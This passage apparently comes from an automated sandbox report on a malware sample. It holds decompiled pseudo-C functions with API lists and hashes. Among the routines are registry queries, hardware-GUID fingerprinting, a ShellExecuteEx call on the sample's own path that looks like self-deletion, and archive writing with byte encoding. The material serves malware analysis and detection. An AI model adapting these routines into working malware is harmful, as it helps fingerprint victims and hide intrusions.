				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0x8999a0
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a1f4; // 0x89c320
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.ADVAPI32(80000002,008999A0,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.ADVAPI32(?,0089C320,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0x89bb00
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a4dc; // 0x89c098
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
RegOpenKeyExA.ADVAPI32(80000002,0089BB00,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.ADVAPI32(?,0089C098,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a1a0; // 0x89be10
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a5e4; // 0x89b2d8
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afaf
0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.ADVAPI32(80000002,0089BE10,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.ADVAPI32(?,0089B2D8,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;

				if(GetCurrentHwProfileA( &_v132) == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3
v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0x89d4b0
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_t38 =  *0x41a694; // 0x884248
				_v52 = _t38;
				_t43 =  *0x41a770; // 0x8999c8
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64);
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c01f
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

<, xrefs: 0040C00A

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 6.4, APIs: 5, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				void* _t45;
				intOrPtr _t46;
				void* _t49;
				intOrPtr _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t57;
				intOrPtr _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0x8993a0
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a);
				_t46 =  *0x41a574; // 0x8993e8
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0x8993b8
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0x899388
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10);
				_t58 =  *0x41a494; // 0x899340
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32);
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID:
API String ID: 553454533-0
Opcode ID: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char* _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				char* _v16;
				char _v17;
				intOrPtr _v24;

				_v8 = StrStrA(_a4, _a8);
				if(_v8 != 0) {
					 *0x41a994(0x41ac88, _a4, _v8 - _a4);
					 *(_v8 - _a4 + 0x41ac88) = 0;
					_v12 = _a8;
					_v16 =  &(_v12[1]);
					do {
						_v17 =  *_v12;
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				return _a4;
			}

